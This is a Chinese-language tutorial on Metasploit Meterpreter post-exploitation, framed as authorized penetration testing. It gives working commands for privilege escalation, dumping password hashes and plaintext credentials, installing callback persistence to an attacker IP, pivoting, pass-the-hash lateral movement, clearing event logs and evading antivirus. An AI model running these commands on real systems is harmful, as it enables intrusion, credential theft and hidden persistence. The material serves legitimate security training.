1. 项目概述从“拿下”到“掌控”的必经之路很多刚接触安全测试的朋友在费了九牛二虎之力通过Metasploit拿到一个Meterpreter会话session后往往会陷入短暂的迷茫。看着那个闪烁的“meterpreter ”提示符兴奋之余下一个问题就来了“然后呢我该做什么” 这种感觉就像你千辛万苦拿到了一把房子的钥匙开门进去后却发现里面房间众多不知道从哪里开始探索也不知道哪些东西有价值。这就是后渗透Post-Exploitation阶段要解决的问题。它远不止是“入侵成功”的终点恰恰相反它是真正工作的起点。所谓后渗透就是在成功利用漏洞、获得目标系统的初步访问权限比如一个Meterpreter shell之后所进行的一系列操作。其核心目标非常明确将初始的、脆弱的立足点转化为稳固的、持久的控制权并从中挖掘出有价值的信息或达成更深层次的目标。这个过程就像特种部队空降到敌后第一件事不是庆祝而是建立前哨站、侦察地形、绘制地图、获取补给并确保撤离或深入行动的通道安全。“Metasploit基本后渗透命令”这个主题正是为了解答“然后呢”这个问题。它不涉及漏洞利用的复杂过程而是专注于利用成功后你手头这个“Meterpreter”工具里那些最常用、最核心的命令。掌握它们你才能从一个只会“破门”的新手变成一个能在系统内部“自由行走、翻箱倒柜、甚至安家落户”的熟练工。无论是进行内网渗透测试、应急响应演练还是安全研究这都是不可或缺的实操技能。接下来我们就抛开理论直接进入实战环节看看拿到一个session后到底该怎么“玩转”它。2. 核心思路后渗透阶段的“作战地图”在开始敲具体命令之前我们必须先建立起一个清晰的行动框架。盲目地乱试命令效率低下且容易触发警报。一个系统化的后渗透流程通常遵循一个层层递进的逻辑我习惯把它称为“侦察-控制-探索-收集-持久-清理”六步循环。当然实际测试中步骤会交叉反复但这个框架能保证你不会遗漏关键动作。2.1 第一步战场侦察——信息收集Information Gathering这是你进入系统后的首要任务。你需要立刻搞清楚自己身在何处、环境如何、有什么资源。这包括系统信息这是什么操作系统什么版本是物理机还是虚拟机系统架构是x64还是x86当前用户是谁权限如何网络信息这台机器有哪些网卡IP地址是什么处在哪个网段内网里还有哪些其他机器它的角色是什么是域成员、工作站还是服务器环境信息安装了哪些杀毒软件或安全产品有哪些正在运行的服务和进程为什么这是第一步因为后续所有行动都依赖于这些信息。比如提权漏洞的选择取决于系统版本和架构横向移动的方向取决于网络拓扑绕过杀软的技巧取决于具体的安防产品。不了解环境就行动无异于盲人摸象。2.2 第二步巩固阵地——权限提升Privilege Escalation初始获得的权限往往是受限的例如一个普通用户权限。很多关键操作如安装服务、访问敏感文件、转储密码哈希都需要更高的权限通常是SYSTEMWindows或rootLinux。因此寻找并利用本地漏洞将权限提升到最高是巩固控制权的关键一步。2.3 第三步纵深探索——内部侦察与横向移动Lateral Movement在单机上站稳脚跟后视野就要转向整个网络。这包括内部侦察收集域信息、共享列表、信任关系、活动目录数据等绘制内网地图。横向移动利用获取到的凭证如密码哈希、会话或漏洞从当前已控机器向网络内的其他机器发起攻击扩大控制范围。2.4 第四步获取战利品——数据收集Data Exfiltration这是很多渗透测试的最终目标之一。根据测试范围ROE可能有针对性地收集特定文件、数据库信息、浏览器保存的密码、密钥文件、文档等敏感数据。2.5 第五步建立后方——持久化Persistence测试可能持续多日目标机器可能会重启。为了确保在重启或会话意外断开后你仍然能重新获得访问权限需要在系统上植入后门建立持久化通道。方法多种多样如创建计划任务、服务、启动项、WMI事件订阅等。2.6 第六步打扫战场——清理痕迹Cleaning Tracks在授权测试中通常需要在测试结束后清理留下的工具、日志、添加的用户或后门使系统恢复原状。即使在不要求清理的测试中了解如何清理也有助于理解防御方如何溯源。有了这张“作战地图”我们再来看Metasploit和Meterpreter提供的命令就会发现它们都是为完成上述某个或某几个阶段的任务而设计的工具。下面我们就按功能模块逐一拆解这些核心命令。3. 核心命令模块详解与实战应用假设我们已经通过exploit/windows/smb/ms17_010_eternalblue模块成功攻击了一台Windows 7机器并获得了编号为1的Meterpreter会话。在MSF终端中我们使用sessions -i 1命令与之交互。3.1 信息收集类命令看清战场全貌进入meterpreter后第一个命令永远是sysinfo。它能快速给你一个全局概览。meterpreter sysinfo Computer : WIN7-TARGET OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : zh_CN Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows解读与心得立刻知道这是一台64位的Win7 SP1机器处于工作组环境系统语言是中文。Meterpreter显示为x64/windows说明我们注入的payload是64位的这很好可以原生操作64位系统。如果是x86/windows在64位系统上会遇到文件系统重定向等问题可能需要先迁移到64位进程。接下来了解当前用户和权限meterpreter getuid Server username: WIN7-TARGET\user meterpreter getprivsgetuid显示当前用户是普通用户user。getprivs列出了当前会话已启用的权限。对于普通用户这个列表通常很短。我们的目标是获得SeDebugPrivilege、SeImpersonatePrivilege等关键权限这通常需要通过提权来实现。查看网络配置meterpreter ipconfigipconfig会列出所有网络接口的详细信息包括IP地址、子网掩码、网关。这是判断目标所处网络位置是办公网、服务器区还是DMZ的关键。如果看到有多个网卡比如一个192.168.1.0/24一个10.10.10.0/24那很可能是一台双网卡服务器是通向另一个网络区域的关键跳板。高级信息收集run post/windows/gather/checkvm快速检查目标是否运行在虚拟机中VMware, VirtualBox, Hyper-V等。这对后续选择逃逸技术或判断目标价值有参考意义。run post/windows/gather/enum_applications枚举已安装的应用程序。寻找安全软件360、火绒、Symantec等、管理工具、数据库客户端等。run post/windows/gather/enum_logged_on_users查看当前和最近登录的用户。有助于了解系统使用情况和寻找高价值用户会话。background将当前meterpreter会话放到后台。这是一个非常重要的命令它让你在不中断会话连接的情况下返回MSF主界面去加载其他模块如扫描、爆破模块辅助后续行动。想切回来时用sessions -i [会话ID]。3.2 文件系统操作命令探索与获取在目标机器上浏览、上传、下载文件是基本操作。pwd/getwd: 打印当前工作目录。ls/dir: 列出当前目录内容。注意meterpreter的ls命令输出比cmd的dir更丰富包含文件类型、大小、修改时间等。cd: 切换目录。支持相对路径和绝对路径。search -f *.txt -d C:\\Users: 在C:\Users目录下递归搜索所有.txt文件。-f指定模式-d指定起始目录。这是寻找敏感文档的利器。download C:\\Users\\user\\Desktop\\secret.txt /tmp/: 将目标文件下载到攻击机的/tmp/目录。如果文件较大可以使用-r参数递归下载整个目录。upload /usr/share/scripts/mimikatz.exe C:\\Windows\\Temp\\: 将攻击机上的工具上传到目标的临时目录。重要原则尽量上传到Temp、Public这类路径避免引起怀疑。上传后记得用del或rm命令在适当时候清理。避坑技巧在Windows系统上使用反斜杠\作为路径分隔符时在meterpreter中需要转义写成\\或者直接使用正斜杠/meterpreter通常能自动识别。例如cd C:/Windows/System32和cd C:\\Windows\\System32都是可行的。3.3 系统交互与权限提升命令夺取控制权获得一个交互式shell是深入操作的基础。meterpreter shell Process 2456 created. Channel 1 created. Microsoft Windows [版本 6.1.7601] 版权所有 (c) 2009 Microsoft Corporation。保留所有权利。 C:\Windows\system32现在你有了一个标准的Windows命令提示符。可以执行whoami /groups查看特权执行net user查看用户等。重要提醒在shell中操作完成后输入exit可以退出shell并返回到meterpreter不要直接关闭channel。然而这个shell的权限继承自当前Meterpreter进程。如果当前用户权限低很多操作会受限。因此我们需要提权Privilege Escalation。方法一利用Metasploit本地提权模块这是最常用、最集成化的方法。首先将会话后台化background然后msf6 use post/windows/escalate/getsystem msf6 post(windows/escalate/getsystem) set SESSION 1 msf6 post(windows/escalate/getsystem) rungetsystem模块会尝试多种经典技术如令牌复制、命名管道模拟等来获取SYSTEM权限。成功后会返回一个新的、具有SYSTEM权限的meterpreter会话。方法二手动利用本地漏洞如果getsystem失败说明常规方法被防御。我们需要更精准的打击。首先在meterpreter会话中收集系统补丁信息meterpreter run post/windows/gather/enum_patches或者上传systeminfo命令的输出在攻击机上用windows-exploit-suggester等工具分析缺失的补丁寻找可用的本地提权EXP如CVE-2018-8120, CVE-2021-36934等。找到后在MSF中搜索对应的利用模块search cve:2021-36934配置并运行通常它会生成一个新的高权限会话。提权成功后务必再次运行getuid确认用户名已变为NT AUTHORITY\SYSTEM。此时你几乎可以完全掌控这台机器。3.4 持久化与后门安装命令建立长期据点授权测试中持久化是重要一环。Meterpreter提供了persistence脚本。meterpreter run persistence -h查看帮助了解参数。一个常见的用法是meterpreter run persistence -U -i 30 -p 4444 -r 192.168.1.100-U: 用户登录时自启动注册表HKCU。-i 30: 回连间隔30秒。-p 4444: 连接回连的端口。-r 192.168.1.100: 攻击者的IP地址。该脚本会在目标机器上创建一个VBS脚本并写入注册表启动项。之后即使目标重启只要用户登录它就会每隔30秒尝试连接192.168.1.100:4444。在攻击机上你需要用exploit/multi/handler模块监听对应端口和payload来接收回连。注意事项-U参数是基于用户User的如果创建后门的用户被删除持久化会失效。-S参数可以创建服务实现更持久的SYSTEM级别驻留但动作更大更容易被发现。持久化脚本生成的VBS或EXE文件路径和注册表键值相对固定容易被安全软件标记。在实际测试中可能需要手动定制持久化方法如计划任务、WMI事件订阅、启动文件夹等这些可以通过shell命令或上传的PowerShell脚本来实现。务必记录在授权测试中你对目标系统做的每一个持久化操作都必须详细记录位置和方法以便测试结束后彻底清理。3.5 数据收集与窃取命令获取核心资产在获得SYSTEM权限后就可以访问系统最核心的机密密码哈希。meterpreter hashdump这个命令会从SAM数据库中提取本地用户的NTLM哈希值。对于Windows 7和早期系统这通常直接有效。获取的哈希格式为用户名:RID:LM哈希:NT哈希。你可以用NT哈希进行哈希传递攻击Pass-the-Hash, PtH在内网横向移动。更强大的工具——加载Mimikatz Meterpreter内置了Mimikatz的核心功能。在获得SYSTEM权限后meterpreter load kiwi meterpreter creds_allload kiwi旧版为load mimikatz会加载这个强大的凭证抓取工具。creds_all命令会尝试从内存中提取所有可用的明文密码、哈希、票据等。这是获取域管理员凭证、实现权限飞跃的“神器”。其他收集命令screenshare/record_mic/webcam_list这些命令涉及屏幕录制、麦克风录音、摄像头列表。必须严格遵守授权测试范围和法律在未经明确授权的情况下使用这些命令是严重违法行为。run post/windows/gather/enum_chrome/enum_firefox提取浏览器保存的密码、历史记录、Cookie。同样需严格授权。3.6 网络与端口转发命令打通内网通道当目标机器处于内网时你需要以它为跳板访问其所在内网的其他服务。端口转发Port Forwarding 假设目标内网有一台Web服务器192.168.52.10:80我们无法直接访问。可以通过meterpreter建立转发meterpreter portfwd add -l 8080 -p 80 -r 192.168.52.10这条命令的意思是在攻击机本地-l开启8080端口将所有发往此端口的流量通过meterpreter会话隧道转发到目标内网-r的192.168.52.10:80端口。之后你在攻击机上访问http://127.0.0.1:8080就相当于在访问内网的Web服务器。创建路由Route 端口转发适用于单个端口。如果想用攻击机上的其他扫描工具如Nmap、MSF的auxiliary/scanner模块直接扫描整个内网就需要添加路由。meterpreter run autoroute -s 192.168.52.0/24或者后台化会话后在MSF中msf6 route add 192.168.52.0 255.255.255.0 1这告诉Metasploit通往192.168.52.0/24网段的流量都通过会话1来发送。添加成功后你就可以在MSF中使用scanner/smb/smb_version等模块直接扫描192.168.52.0/24网段了所有流量都会自动经由已控的跳板机。3.7 进程操作与迁移命令保持隐蔽与稳定初始的Meterpreter进程可能不稳定例如你利用的是浏览器漏洞进程是iexplore.exe用户一关浏览器会话就没了或者权限不够高。因此需要进程迁移Migration。meterpreter ps列出所有进程。寻找稳定的、高权限的进程进行迁移。理想的迁移目标有svchost.exe多个属于SYSTEMlsass.exeSYSTEM权限但操作危险易引发崩溃explorer.exe当前登录用户的权限相对稳定meterpreter migrate 1244其中1244是目标进程的PID。迁移成功后你的Meterpreter会话就“寄生”在了新进程里原进程崩溃也不会影响你。最佳实践在获得初始会话后应尽快迁移到一个稳定的后台进程。4. 实战流程串联与避坑指南让我们用一个简化的实战场景串联起上述命令初始进入利用漏洞获得session 1立即sysinfo,getuid。信息收集ipconfig发现内网段10.10.10.0/24。run post/windows/gather/enum_applications发现无强力杀软。提权getsystem失败。run post/windows/gather/enum_patches分析补丁发现未打CVE-2021-36934补丁。使用对应EXP模块获得SYSTEM权限的session 2。凭证窃取切换到session 2load kiwicreds_all成功抓取到本地管理员明文密码和域用户哈希。内网拓展run autoroute -s 10.10.10.0/24添加路由。后台化session 2使用scanner/smb/smb_version扫描10.10.10.0/24网段发现一台服务器10.10.10.20。横向移动使用抓取到的哈希通过exploit/windows/smb/psexec模块配合SMBPass哈希成功攻陷10.10.10.20获得session 3。持久化在关键服务器10.10.10.20上根据授权要求使用run persistence -S -i 60 -p 443 -r [你的IP]安装一个服务级后门。数据收集在目标机器上search -f *.pdf *.docx *.xlsx -d C:\\定位并download关键业务文档。清理痕迹测试结束前根据记录手动删除上传的工具、创建的持久化注册表项或服务、计划任务等。可以使用clearev命令清除Windows事件日志需高权限。常见问题与排查技巧实录hashdump失败提示“RegOpenKeyEx failed”这通常是因为权限不足。即使getuid显示是SYSTEM在某些系统配置下直接访问SAM也可能受限。解决方法a) 先migrate到类似lsass.exe这样的系统核心进程b) 使用kiwi模块的lsa_dump_sam命令c) 使用run post/windows/manage/enable_rdp等模块先开启RDP然后用抓取的哈希进行PTH登录在图形界面下操作。进程迁移migrate失败可能原因a) 目标进程架构x86/x64与当前Meterpreter payload架构不匹配。64位系统上32位进程无法迁移到64位进程反之亦然。使用sysinfo和ps仔细核对。b) 目标进程权限高于当前进程。需要先提权。经验在迁移前先用getpid查看当前进程用ps查看目标进程的用户确保目标进程权限不低于当前进程。上传文件被杀Windows Defender或其他杀软可能会查杀上传的常见黑客工具。对策a) 使用免杀技术对工具进行处理后再上传。b) 使用Meterpreter内存执行避免落地。例如使用execute命令直接运行PowerShell脚本下载并内存加载工具。c) 寻找系统自带的可利用程序如certutil.exe、bitsadmin.exe等通过它们来下载文件有时能绕过检测。会话突然断开网络不稳定、目标机器重启、安全软件清除、进程崩溃都可能导致。重要习惯一旦获得重要权限如SYSTEM立即建立持久化后门。在长时间操作中可以同时开启多个不同类型的持久化通道如计划任务服务提高稳定性。portfwd或路由添加后扫描器仍无法访问内网首先在meterpreter中ping一下内网IP确认路由可达。其次检查MSF中路由表是否正确添加route print。最后可能是防火墙规则限制。可以尝试在目标机器上用netsh命令临时添加防火墙规则放行相关端口或者使用reverse_tcp等payload反弹的流量通常能穿过出站防火墙。掌握这些基本命令和流程你就能在获得初始立足点后有条不紊地展开后续工作。后渗透是一门实践的艺术每个网络环境都不一样总会遇到新问题。核心思路永远是信息收集决定行动方向权限提升打开操作空间持久化保障访问持续清理痕迹体现专业素养。多练、多思考、多总结才能真正把这些命令变成你手中的利器。